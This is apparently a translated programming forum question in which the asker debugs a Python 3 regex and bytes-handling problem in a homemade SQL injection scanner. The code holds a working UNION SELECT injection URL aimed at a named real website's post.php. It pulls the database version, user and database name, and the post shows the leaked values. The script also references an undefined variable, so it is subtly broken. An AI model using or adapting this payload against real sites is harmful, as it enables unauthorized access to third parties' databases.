Windows 8でpython 3.3.0を使用しています。以下のコードは、python 2.7.xで正常に実行されます
import re, urllib
import urllib.request
arg_end = "--"
url = "http://www.johandemeij.com/post.php?id=276+AND+1=2+UNION+SELECT+1,2,p0w3R,4,p0w3R,p0w3R,7,8,p0w3R,p0w3R--"
url = site.replace("p0w3R","concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end
requrl = urllib.request.Request(url)
response = urllib.request.urlopen(requrl)
source = response.read()
match = re.findall("\x1e\x1e\S+", str(source))
print("match>>>", match)
このスクリプトでは、一致変数に値がありません! そして、私がこれを使用しているとき:
match = re.findall("\x1e\x1e\S+", source)
次のようなエラーが表示されます。
TypeError: can't use a string pattern on a bytes-like object
実際、ブラウザに URL を挿入すると、特に脆弱な列で以下のような結果が得られます。
5.1.61-0+squeeze1johan@localhostjohan_db
では、その re の何が問題なのか、何をどこを変更すればよいのでしょうか? Python docs の re モジュールで \x について読み込もうとしたとき、何も見つかりませんでした。または、取得に失敗した可能性があります。分かりやすい方法で利用できる場合は、これに関する例を挙げて何か提案してください。
もう 1 つ、1e を文字列に変換しようとしても、何も返されませんでした。
Python 3 の学習を始めたばかりで、単純なプログラムを作成する代わりに、便利なスクリプトを作成したいと思っています。それで、python 3 で簡単な SQLi スキャナーを作ることに手を染めようとしています。darkMySQLi ツールからインスピレーションを得ました。